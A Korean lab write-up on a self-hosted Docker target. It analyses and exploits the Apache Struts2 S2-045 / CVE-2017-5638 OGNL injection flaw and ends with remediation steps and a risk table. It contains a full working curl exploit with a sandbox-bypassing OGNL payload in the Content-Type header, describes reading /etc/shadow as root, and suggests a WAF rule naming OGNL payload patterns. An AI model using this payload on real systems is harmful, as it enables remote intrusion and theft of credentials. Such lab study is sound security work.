

컨테이너를 시작한 후 Struts2 로그를 보면 애플리케이션이 struts-default.xml, struts-plugin.xml, struts.xml과 같은 익숙한 설정 파일들을 로드하는 것을 확인할 수 있습니다. 이를 통해 사용 중인 프레임워크가 Apache Struts2임을 알 수 있습니다.

다음 줄에서 주목할 만한 점을 찾을 수 있습니다:
Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)
이 줄은 Struts2가 파일 업로드 기능에서 흔히 볼 수 있는 multipart/form-data 유형의 요청을 처리하기 위해 Jakarta multipart 파서(multipart 업로드 데이터 분석기)를 선택하고 있음을 나타냅니다.
이것은 S2-045 / CVE-2017-5638을 분석할 때 중요한 신호입니다. 이 취약점은 Struts2가 multipart 요청(특히 잘못된 Content-Type 헤더)을 파싱할 때 발생하는 오류를 처리하는 과정과 관련되어 있기 때문입니다.
그러나 이 로그는 애플리케이션이 Struts2와 Jakarta 스타일의 multipart 핸들러를 사용한다는 것만 증명할 뿐입니다. 애플리케이션이 확실히 취약하다고 결론 내리기에는 아직 충분하지 않습니다. 확인하려면 struts2-core의 버전을 확인하고 영향을 받는 버전 범위와 비교해야 합니다.



curl을 사용하여 웹 서비스에 접근하면 응답 헤더에서 애플리케이션이 Jetty 9.2.11.v20150529에서 실행 중임을 확인할 수 있습니다. 이 정보는 애플리케이션을 실행하는 환경(서블릿 컨테이너)을 식별하는 데 도움이 되지만, Struts2의 버전을 직접적으로 알려주지는 않습니다.
웹 인터페이스는 Struts2 Showcase - Fileupload sample 페이지를 반환하며, 다음과 같은 업로드 폼이 있습니다:
method="POST" enctype="multipart/form-data" action="/upload.action"
이것은 앞서 Struts2가 MultiPartRequest에 대해 jakarta를 선택한 로그와 일치합니다. 애플리케이션에는 실제로 multipart/form-data를 통한 파일 업로드 처리 흐름이 있습니다.
⇒ 생각: /upload.action 엔드포인트는 multipart/form-data를 사용하며, 이는 Struts2가 Jakarta MultiPartRequest를 통해 처리하는 메커니즘과 일치합니다. 이는 S2-045/CVE-2017-5638에 대한 의심을 강화하는 신호이지만, 애플리케이션이 취약하다고 결론 내리기 전에 Struts2 버전을 확인해야 합니다. 다음으로 struts2-core의 버전과 잘못된 Content-Type을 수신할 때 애플리케이션이 오류를 처리하는 방식에 대한 더 깊은 검증이 여전히 필요합니다.
애플리케이션에 multipart/form-data를 사용하는 업로드 엔드포인트가 있음을 확인한 후, 다음 분석 단계는 실제 Struts2 버전을 찾는 것입니다. 이전 신호들은 애플리케이션이 multipart 업로드와 관련된 메커니즘을 가지고 있다는 것만 보여주었을 뿐, 취약하다고 결론 내리기에는 아직 충분하지 않기 때문에 이는 중요합니다.

엔드포인트 8001을 제공하는 올바른 컨테이너를 식별한 후, project1-lab01-1 컨테이너 내부에서 직접 라이브러리를 확인했습니다.
그 결과 struts2-core 파일을 찾았습니다:
/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar
이 경로를 통해 애플리케이션이 Apache Struts2 2.3.30을 사용하고 있음을 확인할 수 있습니다.

이를 공개된 CVE-2017-5638 / S2-045 취약점과 비교하면, 이 취약점은 패치 이전의 2.3.x 분기를 포함한 많은 구형 Struts2 버전에 영향을 미칩니다. 다음과 같은 조건과 결합하면:
Framework: Apache Struts2 Version: 2.3.30 Multipart parser: Jakarta Endpoint: /upload.action Content-Type: multipart/form-data
분석 조건 체인이 더 명확해집니다:
`Struts2 버전 2.3.30 < 버전 2.3.32
그러나 분석 관점에서 취약한 버전은 영향을 받을 가능성에 대한 증거일 뿐입니다. 동작 수준에서 확인하려면 비정상적인 multipart 요청을 보내고 응답/로그를 관찰하여 Struts2 multipart 파서의 오류 처리 분기로 진입하는지 확인해야 합니다.
⇒ 생각: 이 시점에서 더 이상 프레임워크 식별에 그치지 않습니다. 버전 2.3.30은 애플리케이션이 S2-045/CVE-2017-5638의 영향을 받는 버전 범위에 해당함을 확인해 줍니다. 남은 단계는 증거 체인을 완성하기 위해 multipart 오류 처리 동작을 검증하는 것입니다.

/upload.action으로 전송된 요청이 실제로 Struts2 multipart 처리 메커니즘을 통과하는지 확인해야 합니다. 여기서는 curl 명령어를 -F 옵션과 함께 사용하여 처리 메커니즘을 테스트했습니다. 반환된 결과는 각 부분으로 나뉩니다:
`
⇒ 유효한 요청은 /upload.action이 실제로 multipart 업로드 메커니즘을 거친다는 것을 증명합니다. curl -F가 multipart/form-data를 생성하고 서버가 요청의 각 부분을 파싱할 수 있기 때문입니다.


Content-Type을 multipart/form-data로 선언하지만 multipart 구조에 맞지 않는 본문을 보내면 서버는 여전히 HTTP 200 OK를 반환합니다. 그러나 ContentType, FileName, File, Caption 필드는 모두 비어 있습니다. Docker 로그를 확인해 보면 boundary(multipart에서 각 부분을 구분하는 구분 문자열)가 없음을 알 수 있으며, 클라이언트는 여전히 HTTP 200 OK를 수신합니다. 하지만 Struts2는 실제로 요청을 처리하는 동안 오류가 발생했습니다.
이것은 증거 체인을 입증합니다:
비정상적인 multipart 요청 → Struts2가 요청을 래핑 → MultiPartRequestWrapper 호출 → JakartaMultiPartRequest가 요청 파싱 → boundary 누락으로 인한 FileUploadException
⇒ S2-045/CVE-2017-5638과 관련된 구성 요소와 일치합니다. 따라서 조건 체인이 더 완성됩니다: 취약한 버전, Jakarta 파서, 업로드 엔드포인트, 그리고 잘못된 요청이 올바른 multipart 처리 분기로 들어갑니다.
S2-045/CVE-2017-5638의 핵심은 multipart 파서의 실패에만 있는 것은 아닙니다. 파서 오류는 단지 초기 트리거 조건일 뿐입니다. 위험한 부분은 Struts2가 이후에 오류 메시지를 처리하는 방식에 있습니다. 영향을 받는 Struts2 버전에서는 multipart 파서가 오류를 만나면 오류 내용이 Struts2 메시지 처리 메커니즘으로 전달될 수 있습니다. 공격자가 오류에 나타나는 데이터의 일부, 특히 Content-Type 헤더의 데이터를 제어할 수 있다면, 해당 데이터는 Struts2에 의해 OGNL(Object-Graph Navigation Language - Struts/XWork의 표현 언어)을 통해 평가될 수 있습니다.
생각:
비정상적인 Content-Type → Jakarta multipart 파서 파싱 오류 → Struts2가 오류 메시지 생성/기록 → 오류 메시지가 표현식 평가 메커니즘을 통과 → 악성 OGNL이 존재하면 RCE로 이어질 수 있음
대상이 Struts2를 사용한다는 것을 확인했고, Struts2는 OGNL을 표현 엔진으로 사용하므로 PayloadsAllTheThings에서 검색해 보면 Struts2에 new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes())를 주입하는 것은 실패할 것임을 알 수 있습니다. Struts2에는 java.lang.Runtime에 대한 접근을 차단하는 샌드박스가 있기 때문입니다.

⇒ 발견된 페이로드를 Struts2 익스플로잇 구조로 조립합니다:
Jakarta 파서 트리거
(#_="multipart/form-data")
Struts2 샌드박스 우회 (필수)
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
명령 실행 페이로드
(new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
그러나 실제로 페이로드를 실행할 때 두 가지 문제가 발생합니다:
readAllBytes() 함수는 Java 9부터 지원됩니다. 계속 사용하면 OGNL이 조용히 실패하고 빈 HTML 페이지를 반환합니다. 이 문제는 스트림을 읽기 위해 org.apache.commons.io 라이브러리(Struts2에 항상 포함됨)의 IOUtils 클래스를 사용하도록 전환하여 해결합니다.HttpServletResponse에 직접 접근하여 getWriter().println()으로 출력을 먼저 인쇄한 다음 flush()와 close()를 호출하여 연결을 즉시 종료함으로써 해결합니다. 이렇게 하면 서버가 모든 불필요한 HTML 인터페이스를 우회하고 깔끔한 명령 실행 결과를 반환하게 됩니다.⇒ 위 수정 사항을 재조합하면 완전한 curl 명령어(ProcessBuilder + IOUtils + Response Writer 사용)를 얻을 수 있습니다:
curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
-H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
-d "foo=bar"

익스플로잇 성공!!!
root 권한으로 RCE를 달성했지만 각 명령은 별도의 HTTP 요청으로 전송해야 하므로 비대화형 환경만 제공됩니다. 리버스 셸(Reverse Shell)은 지속적인 세션을 구축하여 마치 실제 머신 앞에 앉아 있는 것처럼 대상 시스템과 직접 상호작용할 수 있게 해 주며, 정보 수집과 더 깊은 후속 공격(post-exploitation)에 유용합니다.
권한 확인
익스플로잇 성공 후 시스템의 권한을 확인합니다:
uid=0(root) gid=0(root) groups=0(root)
→ 애플리케이션이 root 권한으로 실행됩니다 — 권한 상승이 필요 없습니다.
민감 데이터 수집
/etc/shadow 파일(비밀번호 해시가 포함된 파일로, root만 접근 권한이 있음)을 읽습니다:

→ 공격자가 가장 민감한 파일을 포함한 시스템 파일에 대한 완전한 읽기/쓰기 접근 권한을 가졌음을 증명합니다.
리버스 셸 관련 참고 사항
리버스 셸 구축은 Windows의 Docker 컨테이너가 내부 네트워크(bridge/NAT)를 사용하기 때문에 실패했습니다. 컨테이너가 로컬 LAN에 있는 공격자 머신(Kali)으로 다시 연결할 수 없기 때문입니다. 그러나 이것은 취약점의 심각도에 영향을 미치지 않습니다. 공격자는 root 권한으로 RCE를 달성했으며 시스템에서 모든 명령을 실행할 수 있습니다.
이 시스템의 OGNL 인젝션 취약점(CVE-2017-5638 / S2-045)은 최고 위험 수준으로 평가됩니다:
이 취약점을 완전히 해결하기 위해 시스템 관리 및 개발 팀은 다음 조치를 우선순위 순으로 구현해야 합니다:
긴급 우선순위 (단기):
JakartaMultiPartRequest 라이브러리의 핵심 구현에 존재하므로 필수 조치입니다.root 사용자로 실행하지 마십시오. 애플리케이션 실행에 필요한 최소 권한을 가진 전용 사용자(예: struts_user)를 생성해야 합니다.높은 우선순위 (장기 및 심층 방어):
Content-Type 헤더에 OGNL 페이로드(예: %{...}, ${...}, ognl, java.lang.ProcessBuilder)가 포함된 HTTP 요청을 탐지하고 차단하도록 WAF 규칙을 구성하십시오.struts.xml 설정 파일에서 Pell 또는 COS와 같은 대체 라이브러리로 전환하는 것을 고려하십시오(struts.multipart.parser=cos).| 기준 | 평가 | 세부 내용 |
|---|
| CVSS 점수 | 10.0 (Critical) | 절대 최고 점수입니다. |
| 인증 | 불필요 | 공격자는 이를 악용하기 위해 계정이나 로그인이 필요하지 않습니다. |
| 복잡성 | 매우 낮음 | Content-Type 헤더에 페이로드가 포함된 단일 HTTP 요청(POST)만 전송하면 됩니다. |
| 획득 권한 | root | 최고 권한 수준에서 애플리케이션/컨테이너를 완전히 제어하며, 모든 파일(예: /etc/shadow)을 읽고 쓸 수 있습니다. |
| 수평 이동 | 높음 | 손상된 컨테이너에서 공격자는 내부 네트워크(LAN)를 스캔하고 다른 컨테이너나 호스트 서버를 공격할 수 있습니다. |